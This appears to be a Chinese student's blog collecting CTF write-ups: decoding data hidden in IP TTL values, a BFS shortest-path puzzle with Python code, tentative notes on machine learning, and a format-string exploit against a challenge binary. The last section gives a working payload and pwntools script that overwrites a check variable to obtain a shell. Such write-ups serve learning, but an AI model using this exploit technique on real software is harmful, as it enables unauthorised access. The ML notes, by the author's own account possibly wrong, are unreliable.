题目
我们截获了一些IP数据报,发现报文头中的TTL值特别可疑,怀疑是通信方嵌入了数据到TTL,我们将这些TTL值提取了出来,你能看出什么端倪吗?

下载:ttl.zip
分析
一开始以为是转成ascii,然后发现并不是。
结果去重复之后,发现只有127,63,191,255四个结果。
转换为ascii后发现一个是正问好一个是反问号和两个奇怪的东西。
然后把问好当成点划,其他当成换行符空格,用摩斯电码,也不是。
把四个结果当成上下左右,也不是。
最后问了问dalao。是吧四个结果当成00 01 10 11.
IP报文在路由间穿梭的时候每经过一个路由,TTL就会减1,当TTL为0的时候,该报文就会被丢弃。TTL所占的位数是8位,也就是0-255的范围,但是在大多数情况下通常只需要经过很小的跳数就能完成报文的转发,远远比上限255小得多,所以我们可以用TTL值的前两位来进行传输隐藏数据。
如:须传送H字符,只需把H字符换成二进制,每两位为一组,每次填充到TTL字段的开头两位并把剩下的6位设置为1(xx111111),这样发4个IP报文即可传送1个字节。
因为是255,所以转换为二进制的最大长度也就是8位了。
然后禁制查看
63转二进制是00111111,127是01111111,191是10111111,255是11111111
然后再取前两位,因为后面6位都被设置为1。
即可对应63->00,127->01,191->10,255->11

之后,试试转换为hex。

看到ffd8头,就知道这是图片了
然而这些只是hex的文本形式,我们得把这些转换成文件流。
写出后打开,发现是部分二维码

使用Stegsolve后发现,有6个frame,全部提取出来,之后用画图拼起来

最后给拼出了个这个

然后去解析,得出
key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}
然后更具key,google一下,找到了自动密码钥密码,在线解密一波

因为这种加密方式只对字母有效,我们还得手动把括号和数字加上去
得出 flag{2028ab39927df1d96e6a12b03e58002e}
前言
西湖论剑,错过了。只有现在才可以。只好先把题目下载下来,半夜三根的慢慢做。
我的顺序是先misc->web->pwn,其他题目我就真的做不来啦。
现在也先写一个Misc题目吧,题目如下:
资深宅“flag{”在朋友邀请下,参加了一场聚会。
在聚会上看到了美女“75D}”,一时心花荡漾、不能自己,坚信彼此就是天造地设的一双。
想通过层层朋友的关系认识她,却无奈性格问题,不敢劳师动众。
好在朋友帮忙搞到一张聚会人员关系图,如下:
[('FloraPrice','E11'),('FloraPrice','E9'),('FloraPrice','75D}'),('NoraFayette','E11'),('NoraFayette','E10'),('NoraFayette','E13'),('NoraFayette','E12'),('NoraFayette','E14'),('NoraFayette','E9'),('NoraFayette','E7'),('NoraFayette','E6'),('E10','SylviaAvondale'),('E10','MyraLiddel'),('E10','HelenLloyd'),('E10','KatherinaRogers'),('VerneSanderson','E7'),('VerneSanderson','E12'),('VerneSanderson','E9'),('VerneSanderson','E8'),('E12','HelenLloyd'),('E12','KatherinaRogers'),('E12','SylviaAvondale'),('E12','MyraLiddel'),('E14','SylviaAvondale'),('E14','75D}'),('E14','KatherinaRogers'),('FrancesAnderson','E5'),('FrancesAnderson','E6'),('FrancesAnderson','E8'),('FrancesAnderson','E3'),('DorothyMurchison','E9'),('DorothyMurchison','E8'),('EvelynJefferson','E9'),('EvelynJefferson','E8'),('EvelynJefferson','E5'),('EvelynJefferson','E4'),('EvelynJefferson','E6'),('EvelynJefferson','E1'),('EvelynJefferson','E3'),('EvelynJefferson','E2'),('RuthDeSand','E5'),('RuthDeSand','E7'),('RuthDeSand','E9'),('RuthDeSand','E8'),('HelenLloyd','E11'),('HelenLloyd','E7'),('HelenLloyd','E8'),('OliviaCarleton','E11'),('OliviaCarleton','E9'),('EleanorNye','E5'),('EleanorNye','E7'),('EleanorNye','E6'),('EleanorNye','E8'),('E9','TheresaAnderson'),('E9','PearlOglethorpe'),('E9','KatherinaRogers'),('E9','SylviaAvondale'),('E9','MyraLiddel'),('E8','TheresaAnderson'),('E8','PearlOglethorpe'),('E8','KatherinaRogers'),('E8','SylviaAvondale'),('E8','BrendaRogers'),('E8','LauraMandeville'),('E8','MyraLiddel'),('E5','TheresaAnderson'),('E5','BrendaRogers'),('E5','LauraMandeville'),('E5','CharlotteMcDowd'),('E4','CharlotteMcDowd'),('E4','TheresaAnderson'),('E4','BrendaRogers'),('E7','TheresaAnderson'),('E7','SylviaAvondale'),('E7','BrendaRogers'),('E7','LauraMandeville'),('E7','CharlotteMcDowd'),('E6','TheresaAnderson'),('E6','PearlOglethorpe'),('E6','BrendaRogers'),('E6','LauraMandeville'),('E1','LauraMandeville'),('E1','BrendaRogers'),('E3','TheresaAnderson'),('E3','BrendaRogers'),('E3','LauraMandeville'),('E3','CharlotteMcDowd'),('E3','flag{'),('E2','LauraMandeville'),('E2','TheresaAnderson'),('KatherinaRogers','E13'),('E13','SylviaAvondale')]
你能在让最少人知道的情况下,帮助flag先生联系上75D小姐姐吗?
求节点“flag{”到“75D”的最短路径,即为flag,比如:flag{E3AliceBobXXXXXXXXXXXXXXXX75D}
很明显一个BFS搜索最短路径。
虽然说直接用手算就行,但是我一定要整一个软件出来
分析
我们先看上面这么多数据,我们假设把名字当成节点,En当成line。
我们就能分为两种分类,一种是 名字开头,成员是线的标准node maps。
friendship = {'FloraPrice': ['E11', 'E9', '75D}'], 'NoraFayette': ['E11', 'E10', 'E13', 'E12', 'E14', 'E9', 'E7', 'E6'], 'VerneSanderson': ['E7', 'E12', 'E9', 'E8'], 'FrancesAnderson': ['E5', 'E6', 'E8', 'E3'], 'DorothyMurchison': ['E9', 'E8'], 'EvelynJefferson': ['E9', 'E8', 'E5', 'E4', 'E6', 'E1', 'E3', 'E2'], 'RuthDeSand': ['E5', 'E7', 'E9', 'E8'], 'HelenLloyd': ['E11', 'E7', 'E8'], 'OliviaCarleton': ['E11', 'E9'], 'EleanorNye': ['E5', 'E7', 'E6', 'E8'], 'KatherinaRogers': ['E13']}
另一种就是已线为节点,名字为成员的 初始Line搜索的图。
line = {'E10': ['SylviaAvondale', 'MyraLiddel', 'HelenLloyd', 'KatherinaRogers'], 'E12': ['HelenLloyd', 'KatherinaRogers', 'SylviaAvondale', 'MyraLiddel'], 'E14': ['SylviaAvondale', '75D}', 'KatherinaRogers'], 'E9': ['TheresaAnderson', 'PearlOglethorpe', 'KatherinaRogers', 'SylviaAvondale', 'MyraLiddel'], 'E8': ['TheresaAnderson', 'PearlOglethorpe', 'KatherinaRogers', 'SylviaAvondale', 'BrendaRogers', 'LauraMandeville', 'MyraLiddel'], 'E5': ['TheresaAnderson', 'BrendaRogers', 'LauraMandeville', 'CharlotteMcDowd'], 'E4': ['CharlotteMcDowd', 'TheresaAnderson', 'BrendaRogers'], 'E7': ['TheresaAnderson', 'SylviaAvondale', 'BrendaRogers', 'LauraMandeville', 'CharlotteMcDowd'], 'E6': ['TheresaAnderson', 'PearlOglethorpe', 'BrendaRogers', 'LauraMandeville'], 'E1': ['LauraMandeville', 'BrendaRogers'], 'E3': ['TheresaAnderson', 'BrendaRogers', 'LauraMandeville', 'CharlotteMcDowd', 'flag{'], 'E2': ['LauraMandeville', 'TheresaAnderson'], 'E13': ['SylviaAvondale']}
之后就很简单啦,首先我们line搜索出flag{的初始线E3。之后去friendship查找关系,更具line查找到Node名,然后加入queue防止重复搜索,然后继续遍历Node下的line依次反复,直到找到end。
代码
queue = []
def get_line(txt):
for i in line:
if txt in line[i]:
return i
def dfs(txt,target,vector):
for i in friendship:
if txt in friendship[i]:
queue.insert(0,(i,txt))
new = vector + i
for j in friendship[i]:
if j == target:
print(new+"75D}")
return
if (i,j) not in queue:
new = new + j
dfs(j,target,new)
queue.pop()
dfs(get_line("flag{"), '75D}',"")
结果

从结果列表中找到最短的,然后加上flag。
最后得出flag就是
flag{E3EvelynJeffersonE9FloraPrice75D}
写在开头
这个博客于其说是博客。。不如说更像OneNote之类的东西了呀,下次弄个离线加个搜索就真的成Note了2333,或者哪天自己心情好写个客户端emm正好可以练手C#
而且大部分的博文,与其说是博文,不如说是手账比较好。毕竟基本都线性更新的。同时也因为博客的不相关性,导致我忘记了之前挖的好多坑。。。看来确实得改一改了。不过在这里之前,我想起了之前好多个文章里都有类似的挖坑宣言,但是似乎好像什么都忘了hhhhh。
不过说到底还是因为利益驱动不够。看来人不能太勤奋。太勤奋的后果就是能把一些好点子给咕了,只要不影响原有功能情况下基本都懒得动他hhhh,这到底是勤奋还是怠惰呢?还是说更新之后的效果和不更新的付出所得不成正比呢emmmm
好吧脑子有点乱,不说这些了。
高三过去了,因为艺考+高考双重打击,让我之前学的ML都忘得差不多了。现在才记起来,准备试着捡起来。我也不知道我能坚持多久,因为我这个专业木有高数。真希望去计算机相关的专业啊。
顺带说下元旦快乐。这也是期末考之前最后快乐的时光了。
期末考要背的东西好多emmm,专业考试倒是完全不方。主要就是讨厌背啊emmmmm。算了,咕咕咕,先研究一波ML先。
本期内容束博主才学浅陋的一点自我总结,如果是随手翻到此博客的朋友们请酌情观看或者阅读,因为没有认真里结果,所以可能会有一些或者许多错误,还望大家多多包涵/指正,感谢大家。
以下是纯概念性理解。
我的理解
监督性学习
首先是需要一定量的数据,用来“教”程序,之后使用不同的特征提取算法,用得出的结果去和那些教来的数据比对。
发现不对,利用梯度下降法,来微调W和basis,也就是跳权重。之后再去计算,和最后的数据去比对,这也就是跑了一次训练。
就这样一直跑下去,直到最后跑出来的数据无限接近于得出的数据。那么这个网络就训练成功了(?)
emmmm就这么简单吗?还是说我理解错了emmmm。
作用范围
两种,一种是用来预测,一种是用来分类。
比方说是f(y) = ax + bx +c ,运用第一种,就能算处无限接近于a,b还有c这几个参数。这样,也就可以预测出f(y)这个函数。
还有一种是,在一组向量空间中,分布着不同的区域,每个区域代表一个分类。
先假设f(y)已经训练完成。
把y当作特征输入,得出不同的结果,然后对比这个数据在向量空间的所处位置,得出一个所选分类。
大多数的数字识别基本都是这样子的。
其中的问题
听说梯度下降那边可能会有很多解法,但是我看书里好像说不能一直是全局最优解,否则会有啥问题来着的?这个记不清了
非监督性学习
这个真的忘了,待我学习一波。。。
线性相关,线性不相关,线性不可分
线性相关主要就是一个激励值(激励函数请看下面)相关问题。类似于Y随着X改变而改变,类似于一个一次函数。
线性不相关主要是因为资源问题而考虑,X和Y所代表的激励不可能无限大下去。会随着某些因素而导致速率变慢甚至停止。一般都是一些特殊的数学函数,常见的鄙俗sigmod等等。
线性不可分大体就是让你一层神经网络区分不了,那么再多套几层的意思咯。(?)
应该吧。等我复习到了的时候再说XD
误差反向传递
这个也忘了。。
激励函数
激励函数的作用就是,更具传入不同的东西,调整当前得到的权重。
比如你目的是区分美女,那么关于是否是妹子的特征被传到这层神经网络时候,会更具激励函数,来瞬间提高/降低所得出来的值并且传到下一层。
如果按照向量空间所代表的分布来看的话,可以想象你最后结果所在的位置,因为这个激励函数结果的暴增/减,而更靠近/远离美女所处的向量空间。
当然区分这些肯定不只一层解决的事。需要很多层的共同努力,比方说处理脸部的层呀,身材的层呀等等。。所以对于激励函数的选择就很重要啦。
哎好后悔书都在家里。
未完待续
前言
这次结束之后看到pwn能力太弱了,就想试着研究一波。
比赛的时候压根没分析,赛后看了下逻辑,发现非常的简单。
至少本地环境上如果地址不变没开alsr这些是十分简单的。
程序地址在这里:format.rar
开始
首先看名字,提示十分明显,format。基本和字符串格式化有关系咯。
拉到IDA PRO看看逻辑


代码逻辑十分简单
基本就是
secret = 0;
fget(str,1024,std::stdin);//从命令行接受80h也就是128个字符长度的数据
print(str);把这个字符串打印
if (secret != c0h){printf("Sorry, secret=%d\n",secret);}
else{system("/sbin/su -i");//获取权限}
更具代码我们知道,我们主要修改secret这个变量的值就可以了。我们在ida pro那里看看这个值的地址是多少

之后就是关于字符串format漏洞修改内存地址的啦。
相关资料在这里:
不过和教程中不一样的是,在此之前,我们得先找到我们程序format漏洞字符串所在栈中的偏移。
这个偏移才是让format语句把数据指向我们的地址的关键,毕竟这个字符串就是poc,包含要写入的地址。
我们打开gdb,设置printf断点。

然后按r执行,输入11111111测试字符串。程序将会执行到断点处

然后执行x/30x $sp 来查看

发现第13个字段编程3131313131,31的ascii也就是对应的1的字符。
我们在程序内用%12$x 检查,发现内容不正确。
(%数字$操作符 的意思就是用第几个偏移,已什么方式输出,这里是x就是已16进制,d是整数,s是字符串)
最后检查发现是%11$x 对应我们的31313131,也就是在程序内使用第十一个偏移。
最后我们构造poc,用%n像该地址写入数值。
所以我们的playload,应该是\x48\xa0\x04\x08%188c%11$n 其中,x48xa0x04x08是我们要写入的地址。%188c的意思是把188转换为16进制写入。
为什么是188呢?因为最后是验证secret是否等于C0H,也就是是否等于192。%n的意思是写入字节长度,\x48\xa0\x04\x08刚好是四字节,加上这188刚好是192等于C0H,达到最后验证secret相等的效果。
最后就是实现了。
因为\x48\xa0\x04\x08这几个属于特殊字符,直接输入并不会被转义,所以得需要程序帮我们构造输入。这时候我们可以使用pwntools
sudo apt install python
sudo apt install python-pip
sudo pip install pwntools
详细教程可以看:pwntools使用
我们构造poc代码如下:
from pwn import *
io = process('format')#format必须和这个Py脚本同一目录下
io.sendline('\x48\xa0\x04\x08%188c%11$n')
io.interactive() #直接进行交互,相当于回到shell的模式,在取得shell之后使用
成功取得shell
